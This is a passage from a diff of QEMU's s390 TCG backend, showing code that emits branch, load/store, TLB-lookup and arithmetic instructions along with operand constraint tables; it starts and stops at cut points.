TCGReg r2, int labelno) +{ + TCGLabel* l = &s->labels[labelno]; + intptr_t off; + + if (l->has_value) { + off = l->u.value_ptr - s->code_ptr; + } else { + /* We need to keep the offset unchanged for retranslation. */ + off = s->code_ptr[1]; + tcg_out_reloc(s, s->code_ptr + 1, R_390_PC16DBL, labelno, -2); + } + + tcg_out16(s, (opc & 0xff00) | (r1 << 4) | r2); + tcg_out16(s, off); + tcg_out16(s, cc << 12 | (opc & 0xff)); +} + +static void tgen_compare_imm_branch(TCGContext *s, S390Opcode opc, int cc, + TCGReg r1, int i2, int labelno) +{ + TCGLabel* l = &s->labels[labelno]; + tcg_target_long off; + + if (l->has_value) { + off = l->u.value_ptr - s->code_ptr; + } else { + /* We need to keep the offset unchanged for retranslation. */ + off = s->code_ptr[1]; + tcg_out_reloc(s, s->code_ptr + 1, R_390_PC16DBL, labelno, -2); + } + + tcg_out16(s, (opc & 0xff00) | (r1 << 4) | cc); + tcg_out16(s, off); + tcg_out16(s, (i2 << 8) | (opc & 0xff)); +} + +static void tgen_brcond(TCGContext *s, TCGType type, TCGCond c, + TCGReg r1, TCGArg c2, int c2const, int labelno) +{ + int cc; + + if (facilities & FACILITY_GEN_INST_EXT) { + bool is_unsigned = is_unsigned_cond(c); + bool in_range; + S390Opcode opc; + + cc = tcg_cond_to_s390_cond[c]; + + if (!c2const) { + opc = (type == TCG_TYPE_I32 + ? (is_unsigned ? RIE_CLRJ : RIE_CRJ) + : (is_unsigned ? RIE_CLGRJ : RIE_CGRJ)); + tgen_compare_branch(s, opc, cc, r1, c2, labelno); + return; + } + + /* COMPARE IMMEDIATE AND BRANCH RELATIVE has an 8-bit immediate field. + If the immediate we've been given does not fit that range, we'll + fall back to separate compare and branch instructions using the + larger comparison range afforded by COMPARE IMMEDIATE. */ + if (type == TCG_TYPE_I32) { + if (is_unsigned) { + opc = RIE_CLIJ; + in_range = (uint32_t)c2 == (uint8_t)c2; + } else { + opc = RIE_CIJ; + in_range = (int32_t)c2 == (int8_t)c2; + } + } else { + if (is_unsigned) { + opc = RIE_CLGIJ; + in_range = (uint64_t)c2 == (uint8_t)c2; + } else { + opc = RIE_CGIJ; + in_range = (int64_t)c2 == (int8_t)c2; + } + } + if (in_range) { + tgen_compare_imm_branch(s, opc, cc, r1, c2, labelno); + return; + } + } + + cc = tgen_cmp(s, type, c, r1, c2, c2const); + tgen_branch(s, cc, labelno); +} + +static void tcg_out_call(TCGContext *s, tcg_insn_unit *dest) +{ + ptrdiff_t off = dest - s->code_ptr; + if (off == (int32_t)off) { + tcg_out_insn(s, RIL, BRASL, TCG_REG_R14, off); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_TMP0, (uintptr_t)dest); + tcg_out_insn(s, RR, BASR, TCG_REG_R14, TCG_TMP0); + } +} + +static void tcg_out_qemu_ld_direct(TCGContext *s, TCGMemOp opc, TCGReg data, + TCGReg base, TCGReg index, int disp) +{ + switch (opc) { + case MO_UB: + tcg_out_insn(s, RXY, LLGC, data, base, index, disp); + break; + case MO_SB: + tcg_out_insn(s, RXY, LGB, data, base, index, disp); + break; + + case MO_UW | MO_BSWAP: + /* swapped unsigned halfword load with upper bits zeroed */ + tcg_out_insn(s, RXY, LRVH, data, base, index, disp); + tgen_ext16u(s, TCG_TYPE_I64, data, data); + break; + case MO_UW: + tcg_out_insn(s, RXY, LLGH, data, base, index, disp); + break; + + case MO_SW | MO_BSWAP: + /* swapped sign-extended halfword load */ + tcg_out_insn(s, RXY, LRVH, data, base, index, disp); + tgen_ext16s(s, TCG_TYPE_I64, data, data); + break; + case MO_SW: + tcg_out_insn(s, RXY, LGH, data, base, index, disp); + break; + + case MO_UL | MO_BSWAP: + /* swapped unsigned int load with upper bits zeroed */ + tcg_out_insn(s, RXY, LRV, data, base, index, disp); + tgen_ext32u(s, data, data); + break; + case MO_UL: + tcg_out_insn(s, RXY, LLGF, data, base, index, disp); + break; + + case MO_SL | MO_BSWAP: + /* swapped sign-extended int load */ + tcg_out_insn(s, RXY, LRV, data, base, index, disp); + tgen_ext32s(s, data, data); + break; + case MO_SL: + tcg_out_insn(s, RXY, LGF, data, base, index, disp); + break; + + case MO_Q | MO_BSWAP: + tcg_out_insn(s, RXY, LRVG, data, base, index, disp); + break; + case MO_Q: + tcg_out_insn(s, RXY, LG, data, base, index, disp); + break; + + default: + tcg_abort(); + } +} + +static void tcg_out_qemu_st_direct(TCGContext *s, TCGMemOp opc, TCGReg data, + TCGReg base, TCGReg index, int disp) +{ + switch (opc) { + case MO_UB: + if (disp >= 0 && disp < 0x1000) { + tcg_out_insn(s, RX, STC, data, base, index, disp); + } else { + tcg_out_insn(s, RXY, STCY, data, base, index, disp); + } + break; + + case MO_UW | MO_BSWAP: + tcg_out_insn(s, RXY, STRVH, data, base, index, disp); + break; + case MO_UW: + if (disp >= 0 && disp < 0x1000) { + tcg_out_insn(s, RX, STH, data, base, index, disp); + } else { + tcg_out_insn(s, RXY, STHY, data, base, index, disp); + } + break; + + case MO_UL | MO_BSWAP: + tcg_out_insn(s, RXY, STRV, data, base, index, disp); + break; + case MO_UL: + if (disp >= 0 && disp < 0x1000) { + tcg_out_insn(s, RX, ST, data, base, index, disp); + } else { + tcg_out_insn(s, RXY, STY, data, base, index, disp); + } + break; + + case MO_Q | MO_BSWAP: + tcg_out_insn(s, RXY, STRVG, data, base, index, disp); + break; + case MO_Q: + tcg_out_insn(s, RXY, STG, data, base, index, disp); + break; + + default: + tcg_abort(); + } +} + +#if defined(CONFIG_SOFTMMU) +/* We're expecting to use a 20-bit signed offset on the tlb memory ops. + Using the offset of the second entry in the last tlb table ensures + that we can index all of the elements of the first entry. */ +QEMU_BUILD_BUG_ON(offsetof(CPUArchState, tlb_table[NB_MMU_MODES - 1][1]) + > 0x7ffff); + +/* Load and compare a TLB entry, leaving the flags set. Loads the TLB + addend into R2. Returns a register with the santitized guest address. */ +static TCGReg tcg_out_tlb_read(TCGContext* s, TCGReg addr_reg, TCGMemOp opc, + int mem_index, bool is_ld) +{ + TCGMemOp s_bits = opc & MO_SIZE; + uint64_t tlb_mask = TARGET_PAGE_MASK | ((1 << s_bits) - 1); + int ofs; + + if (facilities & FACILITY_GEN_INST_EXT) { + tcg_out_risbg(s, TCG_REG_R2, addr_reg, + 64 - CPU_TLB_BITS - CPU_TLB_ENTRY_BITS, + 63 - CPU_TLB_ENTRY_BITS, + 64 + CPU_TLB_ENTRY_BITS - TARGET_PAGE_BITS, 1); + tgen_andi_risbg(s, TCG_REG_R3, addr_reg, tlb_mask); + } else { + tcg_out_sh64(s, RSY_SRLG, TCG_REG_R2, addr_reg, TCG_REG_NONE, + TARGET_PAGE_BITS - CPU_TLB_ENTRY_BITS); + tcg_out_movi(s, TCG_TYPE_TL, TCG_REG_R3, addr_reg); + tgen_andi(s, TCG_TYPE_I64, TCG_REG_R2, + (CPU_TLB_SIZE - 1) << CPU_TLB_ENTRY_BITS); + tgen_andi(s, TCG_TYPE_TL, TCG_REG_R3, tlb_mask); + } + + if (is_ld) { + ofs = offsetof(CPUArchState, tlb_table[mem_index][0].addr_read); + } else { + ofs = offsetof(CPUArchState, tlb_table[mem_index][0].addr_write); + } + if (TARGET_LONG_BITS == 32) { + tcg_out_mem(s, RX_C, RXY_CY, TCG_REG_R3, TCG_REG_R2, TCG_AREG0, ofs); + } else { + tcg_out_mem(s, 0, RXY_CG, TCG_REG_R3, TCG_REG_R2, TCG_AREG0, ofs); + } + + ofs = offsetof(CPUArchState, tlb_table[mem_index][0].addend); + tcg_out_mem(s, 0, RXY_LG, TCG_REG_R2, TCG_REG_R2, TCG_AREG0, ofs); + + if (TARGET_LONG_BITS == 32) { + tgen_ext32u(s, TCG_REG_R3, addr_reg); + return TCG_REG_R3; + } + return addr_reg; +} + +static void add_qemu_ldst_label(TCGContext *s, bool is_ld, TCGMemOp opc, + TCGReg data, TCGReg addr, int mem_index, + tcg_insn_unit *raddr, tcg_insn_unit *label_ptr) +{ + TCGLabelQemuLdst *label = new_ldst_label(s); + + label->is_ld = is_ld; + label->opc = opc; + label->datalo_reg = data; + label->addrlo_reg = addr; + label->mem_index = mem_index; + label->raddr = raddr; + label->label_ptr[0] = label_ptr; +} + +static void tcg_out_qemu_ld_slow_path(TCGContext *s, TCGLabelQemuLdst *lb) +{ + TCGReg addr_reg = lb->addrlo_reg; + TCGReg data_reg = lb->datalo_reg; + TCGMemOp opc = lb->opc; + + patch_reloc(lb->label_ptr[0], R_390_PC16DBL, (intptr_t)s->code_ptr, -2); + + tcg_out_mov(s, TCG_TYPE_PTR, TCG_REG_R2, TCG_AREG0); + if (TARGET_LONG_BITS == 64) { + tcg_out_mov(s, TCG_TYPE_I64, TCG_REG_R3, addr_reg); + } + tcg_out_movi(s, TCG_TYPE_I32, TCG_REG_R4, lb->mem_index); + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R5, (uintptr_t)lb->raddr); + tcg_out_call(s, qemu_ld_helpers[opc]); + tcg_out_mov(s, TCG_TYPE_I64, data_reg, TCG_REG_R2); + + tgen_gotoi(s, S390_CC_ALWAYS, lb->raddr); +} + +static void tcg_out_qemu_st_slow_path(TCGContext *s, TCGLabelQemuLdst *lb) +{ + TCGReg addr_reg = lb->addrlo_reg; + TCGReg data_reg = lb->datalo_reg; + TCGMemOp opc = lb->opc; + + patch_reloc(lb->label_ptr[0], R_390_PC16DBL, (intptr_t)s->code_ptr, -2); + + tcg_out_mov(s, TCG_TYPE_PTR, TCG_REG_R2, TCG_AREG0); + if (TARGET_LONG_BITS == 64) { + tcg_out_mov(s, TCG_TYPE_I64, TCG_REG_R3, addr_reg); + } + switch (opc & MO_SIZE) { + case MO_UB: + tgen_ext8u(s, TCG_TYPE_I64, TCG_REG_R4, data_reg); + break; + case MO_UW: + tgen_ext16u(s, TCG_TYPE_I64, TCG_REG_R4, data_reg); + break; + case MO_UL: + tgen_ext32u(s, TCG_REG_R4, data_reg); + break; + case MO_Q: + tcg_out_mov(s, TCG_TYPE_I64, TCG_REG_R4, data_reg); + break; + default: + tcg_abort(); + } + tcg_out_movi(s, TCG_TYPE_I32, TCG_REG_R5, lb->mem_index); + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R6, (uintptr_t)lb->raddr); + tcg_out_call(s, qemu_st_helpers[opc]); + + tgen_gotoi(s, S390_CC_ALWAYS, lb->raddr); +} +#else +static void tcg_prepare_user_ldst(TCGContext *s, TCGReg *addr_reg, + TCGReg *index_reg, tcg_target_long *disp) +{ + if (TARGET_LONG_BITS == 32) { + tgen_ext32u(s, TCG_TMP0, *addr_reg); + *addr_reg = TCG_TMP0; + } + if (GUEST_BASE < 0x80000) { + *index_reg = TCG_REG_NONE; + *disp = GUEST_BASE; + } else { + *index_reg = TCG_GUEST_BASE_REG; + *disp = 0; + } +} +#endif /* CONFIG_SOFTMMU */ + +static void tcg_out_qemu_ld(TCGContext* s, TCGReg data_reg, TCGReg addr_reg, + TCGMemOp opc, int mem_index) +{ +#ifdef CONFIG_SOFTMMU + tcg_insn_unit *label_ptr; + TCGReg base_reg; + + base_reg = tcg_out_tlb_read(s, addr_reg, opc, mem_index, 1); + + label_ptr = s->code_ptr + 1; + tcg_out_insn(s, RI, BRC, S390_CC_NE, 0); + + tcg_out_qemu_ld_direct(s, opc, data_reg, base_reg, TCG_REG_R2, 0); + + add_qemu_ldst_label(s, 1, opc, data_reg, addr_reg, mem_index, + s->code_ptr, label_ptr); +#else + TCGReg index_reg; + tcg_target_long disp; + + tcg_prepare_user_ldst(s, &addr_reg, &index_reg, &disp); + tcg_out_qemu_ld_direct(s, opc, data_reg, addr_reg, index_reg, disp); +#endif +} + +static void tcg_out_qemu_st(TCGContext* s, TCGReg data_reg, TCGReg addr_reg, + TCGMemOp opc, int mem_index) +{ +#ifdef CONFIG_SOFTMMU + tcg_insn_unit *label_ptr; + TCGReg base_reg; + + base_reg = tcg_out_tlb_read(s, addr_reg, opc, mem_index, 0); + + label_ptr = s->code_ptr + 1; + tcg_out_insn(s, RI, BRC, S390_CC_NE, 0); + + tcg_out_qemu_st_direct(s, opc, data_reg, base_reg, TCG_REG_R2, 0); + + add_qemu_ldst_label(s, 0, opc, data_reg, addr_reg, mem_index, + s->code_ptr, label_ptr); +#else + TCGReg index_reg; + tcg_target_long disp; + + tcg_prepare_user_ldst(s, &addr_reg, &index_reg, &disp); + tcg_out_qemu_st_direct(s, opc, data_reg, addr_reg, index_reg, disp); +#endif +} + +# define OP_32_64(x) \ + case glue(glue(INDEX_op_,x),_i32): \ + case glue(glue(INDEX_op_,x),_i64) + +static inline void tcg_out_op(TCGContext *s, TCGOpcode opc, + const TCGArg *args, const int *const_args) +{ + S390Opcode op; + TCGArg a0, a1, a2; + + switch (opc) { + case INDEX_op_exit_tb: + /* return value */ + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R2, args[0]); + tgen_gotoi(s, S390_CC_ALWAYS, tb_ret_addr); + break; + + case INDEX_op_goto_tb: + if (s->tb_jmp_offset) { + tcg_out16(s, RIL_BRCL | (S390_CC_ALWAYS << 4)); + s->tb_jmp_offset[args[0]] = tcg_current_code_size(s); + s->code_ptr += 2; + } else { + /* load address stored at s->tb_next + args[0] */ + tcg_out_ld_abs(s, TCG_TYPE_PTR, TCG_TMP0, s->tb_next + args[0]); + /* and go there */ + tcg_out_insn(s, RR, BCR, S390_CC_ALWAYS, TCG_TMP0); + } + s->tb_next_offset[args[0]] = tcg_current_code_size(s); + break; + + OP_32_64(ld8u): + /* ??? LLC (RXY format) is only present with the extended-immediate + facility, whereas LLGC is always present. */ + tcg_out_mem(s, 0, RXY_LLGC, args[0], args[1], TCG_REG_NONE, args[2]); + break; + + OP_32_64(ld8s): + /* ??? LB is no smaller than LGB, so no point to using it. */ + tcg_out_mem(s, 0, RXY_LGB, args[0], args[1], TCG_REG_NONE, args[2]); + break; + + OP_32_64(ld16u): + /* ??? LLH (RXY format) is only present with the extended-immediate + facility, whereas LLGH is always present. */ + tcg_out_mem(s, 0, RXY_LLGH, args[0], args[1], TCG_REG_NONE, args[2]); + break; + + case INDEX_op_ld16s_i32: + tcg_out_mem(s, RX_LH, RXY_LHY, args[0], args[1], TCG_REG_NONE, args[2]); + break; + + case INDEX_op_ld_i32: + tcg_out_ld(s, TCG_TYPE_I32, args[0], args[1], args[2]); + break; + + OP_32_64(st8): + tcg_out_mem(s, RX_STC, RXY_STCY, args[0], args[1], + TCG_REG_NONE, args[2]); + break; + + OP_32_64(st16): + tcg_out_mem(s, RX_STH, RXY_STHY, args[0], args[1], + TCG_REG_NONE, args[2]); + break; + + case INDEX_op_st_i32: + tcg_out_st(s, TCG_TYPE_I32, args[0], args[1], args[2]); + break; + + case INDEX_op_add_i32: + a0 = args[0], a1 = args[1], a2 = (int32_t)args[2]; + if (const_args[2]) { + do_addi_32: + if (a0 == a1) { + if (a2 == (int16_t)a2) { + tcg_out_insn(s, RI, AHI, a0, a2); + break; + } + if (facilities & FACILITY_EXT_IMM) { + tcg_out_insn(s, RIL, AFI, a0, a2); + break; + } + } + tcg_out_mem(s, RX_LA, RXY_LAY, a0, a1, TCG_REG_NONE, a2); + } else if (a0 == a1) { + tcg_out_insn(s, RR, AR, a0, a2); + } else { + tcg_out_insn(s, RX, LA, a0, a1, a2, 0); + } + break; + case INDEX_op_sub_i32: + a0 = args[0], a1 = args[1], a2 = (int32_t)args[2]; + if (const_args[2]) { + a2 = -a2; + goto do_addi_32; + } + tcg_out_insn(s, RR, SR, args[0], args[2]); + break; + + case INDEX_op_and_i32: + if (const_args[2]) { + tgen_andi(s, TCG_TYPE_I32, args[0], args[2]); + } else { + tcg_out_insn(s, RR, NR, args[0], args[2]); + } + break; + case INDEX_op_or_i32: + if (const_args[2]) { + tgen64_ori(s, args[0], args[2] & 0xffffffff); + } else { + tcg_out_insn(s, RR, OR, args[0], args[2]); + } + break; + case INDEX_op_xor_i32: + if (const_args[2]) { + tgen64_xori(s, args[0], args[2] & 0xffffffff); + } else { + tcg_out_insn(s, RR, XR, args[0], args[2]); + } + break; + + case INDEX_op_neg_i32: + tcg_out_insn(s, RR, LCR, args[0], args[1]); + break; + + case INDEX_op_mul_i32: + if (const_args[2]) { + if ((int32_t)args[2] == (int16_t)args[2]) { + tcg_out_insn(s, RI, MHI, args[0], args[2]); + } else { + tcg_out_insn(s, RIL, MSFI, args[0], args[2]); + } + } else { + tcg_out_insn(s, RRE, MSR, args[0], args[2]); + } + break; + + case INDEX_op_div2_i32: + tcg_out_insn(s, RR, DR, TCG_REG_R2, args[4]); + break; + case INDEX_op_divu2_i32: + tcg_out_insn(s, RRE, DLR, TCG_REG_R2, args[4]); + break; + + case INDEX_op_shl_i32: + op = RS_SLL; + do_shift32: + if (const_args[2]) { + tcg_out_sh32(s, op, args[0], TCG_REG_NONE, args[2]); + } else { + tcg_out_sh32(s, op, args[0], args[2], 0); + } + break; + case INDEX_op_shr_i32: + op = RS_SRL; + goto do_shift32; + case INDEX_op_sar_i32: + op = RS_SRA; + goto do_shift32; + + case INDEX_op_rotl_i32: + /* ??? Using tcg_out_sh64 here for the format; it is a 32-bit rol. */ + if (const_args[2]) { + tcg_out_sh64(s, RSY_RLL, args[0], args[1], TCG_REG_NONE, args[2]); + } else { + tcg_out_sh64(s, RSY_RLL, args[0], args[1], args[2], 0); + } + break; + case INDEX_op_rotr_i32: + if (const_args[2]) { + tcg_out_sh64(s, RSY_RLL, args[0], args[1], + TCG_REG_NONE, (32 - args[2]) & 31); + } else { + tcg_out_insn(s, RR, LCR, TCG_TMP0, args[2]); + tcg_out_sh64(s, RSY_RLL, args[0], args[1], TCG_TMP0, 0); + } + break; + + case INDEX_op_ext8s_i32: + tgen_ext8s(s, TCG_TYPE_I32, args[0], args[1]); + break; + case INDEX_op_ext16s_i32: + tgen_ext16s(s, TCG_TYPE_I32, args[0], args[1]); + break; + case INDEX_op_ext8u_i32: + tgen_ext8u(s, TCG_TYPE_I32, args[0], args[1]); + break; + case INDEX_op_ext16u_i32: + tgen_ext16u(s, TCG_TYPE_I32, args[0], args[1]); + break; + + OP_32_64(bswap16): + /* The TCG bswap definition requires bits 0-47 already be zero. + Thus we don't need the G-type insns to implement bswap16_i64. */ + tcg_out_insn(s, RRE, LRVR, args[0], args[1]); + tcg_out_sh32(s, RS_SRL, args[0], TCG_REG_NONE, 16); + break; + OP_32_64(bswap32): + tcg_out_insn(s, RRE, LRVR, args[0], args[1]); + break; + + case INDEX_op_add2_i32: + if (const_args[4]) { + tcg_out_insn(s, RIL, ALFI, args[0], args[4]); + } else { + tcg_out_insn(s, RR, ALR, args[0], args[4]); + } + tcg_out_insn(s, RRE, ALCR, args[1], args[5]); + break; + case INDEX_op_sub2_i32: + if (const_args[4]) { + tcg_out_insn(s, RIL, SLFI, args[0], args[4]); + } else { + tcg_out_insn(s, RR, SLR, args[0], args[4]); + } + tcg_out_insn(s, RRE, SLBR, args[1], args[5]); + break; + + case INDEX_op_br: + tgen_branch(s, S390_CC_ALWAYS, args[0]); + break; + + case INDEX_op_brcond_i32: + tgen_brcond(s, TCG_TYPE_I32, args[2], args[0], + args[1], const_args[1], args[3]); + break; + case INDEX_op_setcond_i32: + tgen_setcond(s, TCG_TYPE_I32, args[3], args[0], args[1], + args[2], const_args[2]); + break; + case INDEX_op_movcond_i32: + tgen_movcond(s, TCG_TYPE_I32, args[5], args[0], args[1], + args[2], const_args[2], args[3]); + break; + + case INDEX_op_qemu_ld_i32: + /* ??? Technically we can use a non-extending instruction. */ + case INDEX_op_qemu_ld_i64: + tcg_out_qemu_ld(s, args[0], args[1], args[2], args[3]); + break; + case INDEX_op_qemu_st_i32: + case INDEX_op_qemu_st_i64: + tcg_out_qemu_st(s, args[0], args[1], args[2], args[3]); + break; + + case INDEX_op_ld16s_i64: + tcg_out_mem(s, 0, RXY_LGH, args[0], args[1], TCG_REG_NONE, args[2]); + break; + case INDEX_op_ld32u_i64: + tcg_out_mem(s, 0, RXY_LLGF, args[0], args[1], TCG_REG_NONE, args[2]); + break; + case INDEX_op_ld32s_i64: + tcg_out_mem(s, 0, RXY_LGF, args[0], args[1], TCG_REG_NONE, args[2]); + break; + case INDEX_op_ld_i64: + tcg_out_ld(s, TCG_TYPE_I64, args[0], args[1], args[2]); + break; + + case INDEX_op_st32_i64: + tcg_out_st(s, TCG_TYPE_I32, args[0], args[1], args[2]); + break; + case INDEX_op_st_i64: + tcg_out_st(s, TCG_TYPE_I64, args[0], args[1], args[2]); + break; + + case INDEX_op_add_i64: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + do_addi_64: + if (a0 == a1) { + if (a2 == (int16_t)a2) { + tcg_out_insn(s, RI, AGHI, a0, a2); + break; + } + if (facilities & FACILITY_EXT_IMM) { + if (a2 == (int32_t)a2) { + tcg_out_insn(s, RIL, AGFI, a0, a2); + break; + } else if (a2 == (uint32_t)a2) { + tcg_out_insn(s, RIL, ALGFI, a0, a2); + break; + } else if (-a2 == (uint32_t)-a2) { + tcg_out_insn(s, RIL, SLGFI, a0, -a2); + break; + } + } + } + tcg_out_mem(s, RX_LA, RXY_LAY, a0, a1, TCG_REG_NONE, a2); + } else if (a0 == a1) { + tcg_out_insn(s, RRE, AGR, a0, a2); + } else { + tcg_out_insn(s, RX, LA, a0, a1, a2, 0); + } + break; + case INDEX_op_sub_i64: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + a2 = -a2; + goto do_addi_64; + } else { + tcg_out_insn(s, RRE, SGR, args[0], args[2]); + } + break; + + case INDEX_op_and_i64: + if (const_args[2]) { + tgen_andi(s, TCG_TYPE_I64, args[0], args[2]); + } else { + tcg_out_insn(s, RRE, NGR, args[0], args[2]); + } + break; + case INDEX_op_or_i64: + if (const_args[2]) { + tgen64_ori(s, args[0], args[2]); + } else { + tcg_out_insn(s, RRE, OGR, args[0], args[2]); + } + break; + case INDEX_op_xor_i64: + if (const_args[2]) { + tgen64_xori(s, args[0], args[2]); + } else { + tcg_out_insn(s, RRE, XGR, args[0], args[2]); + } + break; + + case INDEX_op_neg_i64: + tcg_out_insn(s, RRE, LCGR, args[0], args[1]); + break; + case INDEX_op_bswap64_i64: + tcg_out_insn(s, RRE, LRVGR, args[0], args[1]); + break; + + case INDEX_op_mul_i64: + if (const_args[2]) { + if (args[2] == (int16_t)args[2]) { + tcg_out_insn(s, RI, MGHI, args[0], args[2]); + } else { + tcg_out_insn(s, RIL, MSGFI, args[0], args[2]); + } + } else { + tcg_out_insn(s, RRE, MSGR, args[0], args[2]); + } + break; + + case INDEX_op_div2_i64: + /* ??? We get an unnecessary sign-extension of the dividend + into R3 with this definition, but as we do in fact always + produce both quotient and remainder using INDEX_op_div_i64 + instead requires jumping through even more hoops. */ + tcg_out_insn(s, RRE, DSGR, TCG_REG_R2, args[4]); + break; + case INDEX_op_divu2_i64: + tcg_out_insn(s, RRE, DLGR, TCG_REG_R2, args[4]); + break; + case INDEX_op_mulu2_i64: + tcg_out_insn(s, RRE, MLGR, TCG_REG_R2, args[3]); + break; + + case INDEX_op_shl_i64: + op = RSY_SLLG; + do_shift64: + if (const_args[2]) { + tcg_out_sh64(s, op, args[0], args[1], TCG_REG_NONE, args[2]); + } else { + tcg_out_sh64(s, op, args[0], args[1], args[2], 0); + } + break; + case INDEX_op_shr_i64: + op = RSY_SRLG; + goto do_shift64; + case INDEX_op_sar_i64: + op = RSY_SRAG; + goto do_shift64; + + case INDEX_op_rotl_i64: + if (const_args[2]) { + tcg_out_sh64(s, RSY_RLLG, args[0], args[1], + TCG_REG_NONE, args[2]); + } else { + tcg_out_sh64(s, RSY_RLLG, args[0], args[1], args[2], 0); + } + break; + case INDEX_op_rotr_i64: + if (const_args[2]) { + tcg_out_sh64(s, RSY_RLLG, args[0], args[1], + TCG_REG_NONE, (64 - args[2]) & 63); + } else { + /* We can use the smaller 32-bit negate because only the + low 6 bits are examined for the rotate. */ + tcg_out_insn(s, RR, LCR, TCG_TMP0, args[2]); + tcg_out_sh64(s, RSY_RLLG, args[0], args[1], TCG_TMP0, 0); + } + break; + + case INDEX_op_ext8s_i64: + tgen_ext8s(s, TCG_TYPE_I64, args[0], args[1]); + break; + case INDEX_op_ext16s_i64: + tgen_ext16s(s, TCG_TYPE_I64, args[0], args[1]); + break; + case INDEX_op_ext32s_i64: + tgen_ext32s(s, args[0], args[1]); + break; + case INDEX_op_ext8u_i64: + tgen_ext8u(s, TCG_TYPE_I64, args[0], args[1]); + break; + case INDEX_op_ext16u_i64: + tgen_ext16u(s, TCG_TYPE_I64, args[0], args[1]); + break; + case INDEX_op_ext32u_i64: + tgen_ext32u(s, args[0], args[1]); + break; + + case INDEX_op_add2_i64: + if (const_args[4]) { + if ((int64_t)args[4] >= 0) { + tcg_out_insn(s, RIL, ALGFI, args[0], args[4]); + } else { + tcg_out_insn(s, RIL, SLGFI, args[0], -args[4]); + } + } else { + tcg_out_insn(s, RRE, ALGR, args[0], args[4]); + } + tcg_out_insn(s, RRE, ALCGR, args[1], args[5]); + break; + case INDEX_op_sub2_i64: + if (const_args[4]) { + if ((int64_t)args[4] >= 0) { + tcg_out_insn(s, RIL, SLGFI, args[0], args[4]); + } else { + tcg_out_insn(s, RIL, ALGFI, args[0], -args[4]); + } + } else { + tcg_out_insn(s, RRE, SLGR, args[0], args[4]); + } + tcg_out_insn(s, RRE, SLBGR, args[1], args[5]); + break; + + case INDEX_op_brcond_i64: + tgen_brcond(s, TCG_TYPE_I64, args[2], args[0], + args[1], const_args[1], args[3]); + break; + case INDEX_op_setcond_i64: + tgen_setcond(s, TCG_TYPE_I64, args[3], args[0], args[1], + args[2], const_args[2]); + break; + case INDEX_op_movcond_i64: + tgen_movcond(s, TCG_TYPE_I64, args[5], args[0], args[1], + args[2], const_args[2], args[3]); + break; + + OP_32_64(deposit): + tgen_deposit(s, args[0], args[2], args[3], args[4]); + break; + + case INDEX_op_mov_i32: /* Always emitted via tcg_out_mov. */ + case INDEX_op_mov_i64: + case INDEX_op_movi_i32: /* Always emitted via tcg_out_movi. */ + case INDEX_op_movi_i64: + case INDEX_op_call: /* Always emitted via tcg_out_call. */ + default: + tcg_abort(); + } +} + +static const TCGTargetOpDef s390_op_defs[] = { + { INDEX_op_exit_tb, { } }, + { INDEX_op_goto_tb, { } }, + { INDEX_op_br, { } }, + + { INDEX_op_ld8u_i32, { "r", "r" } }, + { INDEX_op_ld8s_i32, { "r", "r" } }, + { INDEX_op_ld16u_i32, { "r", "r" } }, + { INDEX_op_ld16s_i32, { "r", "r" } }, + { INDEX_op_ld_i32, { "r", "r" } }, + { INDEX_op_st8_i32, { "r", "r" } }, + { INDEX_op_st16_i32, { "r", "r" } }, + { INDEX_op_st_i32, { "r", "r" } }, + + { INDEX_op_add_i32, { "r", "r", "ri" } }, + { INDEX_op_sub_i32, { "r", "0", "ri" } }, + { INDEX_op_mul_i32, { "r", "0", "rK" } }, + + { INDEX_op_div2_i32, { "b", "a", "0", "1", "r" } }, + { INDEX_op_divu2_i32, { "b", "a", "0", "1", "r" } }, + + { INDEX_op_and_i32, { "r", "0", "ri" } }, + { INDEX_op_or_i32, { "r", "0", "rO" } }, + { INDEX_op_xor_i32, { "r", "0", "rX" } }, + + { INDEX_op_neg_i32, { "r", "r" } }, + + { INDEX_op_shl_i32, { "r", "0", "Ri" } }, + { INDEX_op_shr_i32, { "r", "0", "Ri" } }, + { INDEX_op_sar_i32, { "r", "0", "Ri" } }, + + { INDEX_op_rotl_i32, { "r", "r", "Ri" } }, + { INDEX_op_rotr_i32, { "r", "r", "Ri" } }, + + { INDEX_op_ext8s_i32, { "r", "r" } }, + { INDEX_op_ext8u_i32, { "r", "r" } }, + { INDEX_op_ext16s_i32, { "r", "r" } }, + { INDEX_op_ext16u_i32, { "r", "r" } }, + + { INDEX_op_bswap16_i32, { "r", "r" } }, + { INDEX_op_bswap32_i32, { "r", "r" } }, + + { INDEX_op_add2_i32, { "r", "r", "0", "1", "rA", "r" } }, + { INDEX_op_sub2_i32, { "r", "r", "0", "1", "rA", "r" } }, + + { INDEX_op_brcond_i32, { "r", "rC" } }, + { INDEX_op_setcond_i32, { "r", "r", "rC" } }, + { INDEX_op_movcond_i32, { "r", "r", "rC", "r", "0" } }, + { INDEX_op_deposit_i32, { "r", "0", "r" } }, + + { INDEX_op_qemu_ld_i32, { "r", "L" } }, + { INDEX_op_qemu_ld_i64, { "r", "L" } }, + { INDEX_op_qemu_st_i32, { "L", "L" } }, + { INDEX_op_qemu_st_i64, { "L", "L" } }, + + { INDEX_op_ld8u_i64, { "r", "r" } }, + { INDEX_op_ld8s_i64, { "r", "r" } }, + { INDEX_op_ld16u_i64, { "r", "r" } }, + { INDEX_op_ld16s_i64, { "r", "r" } }, + { INDEX_op_ld32u_i64, { "r", "r" } }, + { INDEX_op_ld32s_i64, { "r", "r" } }, + { INDEX_op_ld_i64, { "r", "r" } }, + + { INDEX_op_st8_i64, { "r", "r" } }, + { INDEX_op_st16_i64, { "r", "r" } }, + { INDEX_op_st32_i64, { "r", "r" } }, + { INDEX_op_st_i64, { "r", "r" } }, + + { INDEX_op_add_i64, { "r", "r", "ri" } }, + { INDEX_op_sub_i64, { "r", "0", "ri" } }, + { INDEX_op_mul_i64, { "r", "0", "rK" } }, + + { INDEX_op_div2_i64, { "b", "a", "0", "1", "r" } }, + { INDEX_op_divu2_i64, { "b", "a", "0", "1", "r" } }, + { INDEX_op_mulu2_i64, { "b", "a", "0", "r" } }, + + { INDEX_op_and_i64, { "r", "0", "ri" } }, + { INDEX_op_or_i64, { "r", "0", "rO" } }, + { INDEX_op_xor_i64, { "r", "0", "rX" } }, + + { INDEX_op_neg_i64, { "r", "r" } }, + + { 